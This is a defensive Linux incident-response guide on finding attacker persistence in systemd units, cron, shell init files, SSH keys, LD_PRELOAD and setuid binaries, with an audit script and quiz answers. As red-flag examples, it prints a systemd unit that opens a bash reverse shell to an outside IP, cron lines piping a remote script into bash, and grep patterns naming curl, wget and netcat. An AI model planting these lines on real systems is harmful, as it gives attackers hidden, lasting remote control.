Linux Persistence Mechanisms — Where Attackers Hide on Linux

Linux persistence is distributed across the filesystem with no centralized registry equivalent. An attacker who gains root can plant persistence in dozens of locations — an analyst must check all of them systematically.

systemd Services — Most Reliable Linux Persistence

# List ALL active services
systemctl list-units --type=service --state=active

# Check recently modified service files (last 7 days)
find /etc/systemd/system/ /usr/lib/systemd/system/ \
  -name "*.service" -newer /etc/passwd -ls

# Examine a suspicious service unit file
cat /etc/systemd/system/sysupdate.service

# Example malicious service unit:
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=forking
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/185.220.101.9/4444 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

Red flags: /bin/bash -c, network redirect to external IP, Restart=always, non-standard description.

# Also check systemd timer units (cron alternative)
systemctl list-timers --all
find /etc/systemd/system/ -name "*.timer" | xargs cat

Cron — Time-Based Persistence

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# Per-user cron (one file per user)
ls /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/root
cat /var/spool/cron/crontabs/ubuntu

# Check cron log for actual execution history
grep cron /var/log/syslog | tail -50           # Debian/Ubuntu
grep cron /var/log/cron | tail -50              # RHEL

# Suspicious cron patterns:
# - curl or wget fetching remote scripts
# - base64 -d piped to bash
# - /tmp/ or /dev/shm/ paths
# - Output redirected to /dev/null (hiding evidence)

# Example malicious cron entry:
# */5 * * * * root curl -s http://185.220.101.9/b.sh | bash > /dev/null 2>&1

Shell Initialization Files — Per-User Persistence

# Check all user shell init files
for f in /etc/profile /etc/bash.bashrc /etc/environment; do
  echo "=== $f ==="; cat "$f"; done

find /etc/profile.d/ -name "*.sh" | xargs cat

# Per-user files
for home in /home/*/ /root/; do
  for f in .bashrc .bash_profile .profile .bash_login .bash_logout; do
    [ -f "${home}${f}" ] && { echo "=== ${home}${f} ==="; cat "${home}${f}"; }
  done
done

# Suspicious patterns:
grep -rE 'curl|wget|nc |netcat|/tmp/|/dev/shm/|base64 -d|eval' \
  /etc/profile /etc/profile.d/ /home/*/.bashrc /root/.bashrc 2>/dev/null

SSH authorized_keys — Passwordless Backdoor

# Check authorized_keys for all users (including root)
for home in /home/*/ /root/; do
  user=$(basename "$home")
  authkeys="${home}.ssh/authorized_keys"
  if [ -f "$authkeys" ]; then
    echo "=== $user ($authkeys) ==="
    ls -la "$authkeys"
    cat "$authkeys"
    echo ""
  fi
done

# Key count per user (should match known admin count)
# Flag: any key with empty comment, unusual comment, or unexpected addition

# Check ~/.ssh/known_hosts — may reveal attacker's pivot targets
cat /root/.ssh/known_hosts
cat /home/*/.ssh/known_hosts 2>/dev/null

LD_PRELOAD — Rootkit-Level Persistence

# Check system-wide preload file (should be empty on clean system)
cat /etc/ld.so.preload
# Any content here is suspicious — especially paths to .so files in /tmp/ or /dev/shm/

# Check environment files for LD_PRELOAD
grep -r LD_PRELOAD /etc/environment /etc/profile /home/*/.bashrc /root/.bashrc 2>/dev/null

# Check for suspicious .so files
find / -name "*.so" -newer /etc/passwd -not -path "*/lib/*" -not -path "*/lib64/*" 2>/dev/null

# WARNING: if /etc/ld.so.preload contains a rootkit, user-space tools
# like ls, ps, and find are compromised — results cannot be trusted.
# Correct response: boot from forensic media or image the disk offline.

setuid Binaries — Privilege Escalation Persistence

# Find all setuid binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null | sort

# Find all setgid binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Compare against known-good setuid binaries
# Typical legitimate setuid: /usr/bin/passwd, /usr/bin/sudo, /bin/ping, /usr/bin/newgrp
# Suspicious: any shell (/bin/bash with setuid root), custom binaries in /tmp/

# Check modification time on known setuid binaries
ls -la /usr/bin/passwd /usr/bin/sudo /bin/su 2>/dev/null
# Modification time change on /usr/bin/passwd = possible binary replacement

/etc/rc.local and Init Scripts

# Legacy persistence — rc.local (still present on many systems)
cat /etc/rc.local
ls -la /etc/rc.d/
ls -la /etc/init.d/

# Modern systems: check if rc-local.service is enabled
systemctl status rc-local

Worked Example

Systematic persistence audit on a compromised Ubuntu server

Context: Server confirmed to have had root access. Need to identify all persistence mechanisms before wiping.

Automated persistence audit:

#!/bin/bash
# Run as root from forensic USB or network share
OUTPUT_DIR="/forensic-share/IR-2024-089/server01_persistence"
mkdir -p "$OUTPUT_DIR"

# 1. systemd services (modified in last 90 days)
find /etc/systemd/system/ /usr/lib/systemd/system/ \
  -name "*.service" -mtime -90 -exec ls -la {} \; > "$OUTPUT_DIR/new_services.txt"
find /etc/systemd/system/ -name "*.service" -exec cat {} \; > "$OUTPUT_DIR/all_custom_services.txt"

# 2. Cron jobs
cat /etc/crontab > "$OUTPUT_DIR/crontab_etc.txt"
find /var/spool/cron/ -type f -exec cat {} \; > "$OUTPUT_DIR/user_crons.txt"
ls /etc/cron.d/ >> "$OUTPUT_DIR/cron_d.txt"
cat /etc/cron.d/* >> "$OUTPUT_DIR/cron_d.txt" 2>/dev/null

# 3. SSH authorized_keys
find /home /root -name "authorized_keys" -exec ls -la {} \; \
  -exec cat {} \; > "$OUTPUT_DIR/authorized_keys.txt" 2>/dev/null

# 4. LD_PRELOAD
cat /etc/ld.so.preload > "$OUTPUT_DIR/ld_preload.txt" 2>/dev/null
grep -r LD_PRELOAD /etc/ /home /root > "$OUTPUT_DIR/ld_preload_env.txt" 2>/dev/null

# 5. Shell init files
find /etc/profile.d/ /home /root -name ".bashrc" -o -name ".bash_profile" \
  -o -name ".profile" | xargs grep -l "curl\|wget\|/tmp\|base64" 2>/dev/null > \
  "$OUTPUT_DIR/suspicious_shellrc.txt"

# 6. Setuid binaries
find / -perm -4000 -type f 2>/dev/null > "$OUTPUT_DIR/setuid_binaries.txt"

echo "Persistence audit complete. Review $OUTPUT_DIR"

Finding: /etc/systemd/system/sysupdate.service — ExecStart pointed to /dev/shm/update_check.sh which had been deleted, but the service file remained. Service was auto-starting on every boot, executing a shell script that re-downloaded from a remote IP.

Retrieval Practice

During a Linux IR, an analyst runs 'ls /tmp/' and sees no suspicious files. However, the netstat output shows a process (PID 9912) with an ESTABLISHED connection to a known C2 IP. How can the analyst recover the binary for this process?

Reveal answer

ls /tmp is unreliable if /etc/ld.so.preload has been used to inject a rootkit that intercepts the readdir() syscall and filters out the malicious file from directory listings. To recover the binary: (1) Read from /proc/ directly — the running process's executable is accessible at /proc/9912/exe even if the file was deleted from its original path. cp /proc/9912/exe /forensic-share/recovered_binary.bin; sha256sum /forensic-share/recovered_binary.bin. (2) Check /proc/9912/maps for the executable path and all loaded shared libraries. (3) Check /proc/9912/cmdline for the full command line. (4) If the binary shows '(deleted)' in the /proc/9912/exe symlink, it was deleted from disk after execution — the copy in /proc/ is the only remaining copy. (5) Also check /proc/9912/fd/ for open file descriptors to identify any config files, sockets, or additional tools the malware opened. The /proc/ filesystem reads directly from kernel data structures and cannot be intercepted by userspace rootkits that hook readdir().

Retrieval Practice

A compromised Linux host has an entry in /etc/cron.d/syscheck: '*/10 * * * * root curl -s http://185.220.101.9/payload.sh | bash'. The analyst removes this file. Has persistence been eliminated?

Reveal answer

Not necessarily — removing one cron file is rarely sufficient for complete persistence elimination. The attacker may have planted additional persistence mechanisms: (1) Other cron locations — /etc/crontab, /var/spool/cron/crontabs/root (user cron for root), /etc/cron.hourly/|daily/|weekly/|monthly/ — all must be checked. (2) The payload.sh script that was downloaded may have installed additional persistence before the cron file was discovered — check for new systemd services, modified authorized_keys, new user accounts, LD_PRELOAD entries, setuid binaries. (3) The C2 connection may already be established — a beacon running in memory from the last cron execution (*/10 means it ran up to 6 times per hour). (4) The 10-minute interval means the attacker had enough time to install other persistence. Complete response: (a) Run a full persistence audit across all mechanisms before removing anything. (b) Remove persistence points in coordination with containment. (c) Assume the attacker had enough access time to deploy multiple persistence mechanisms.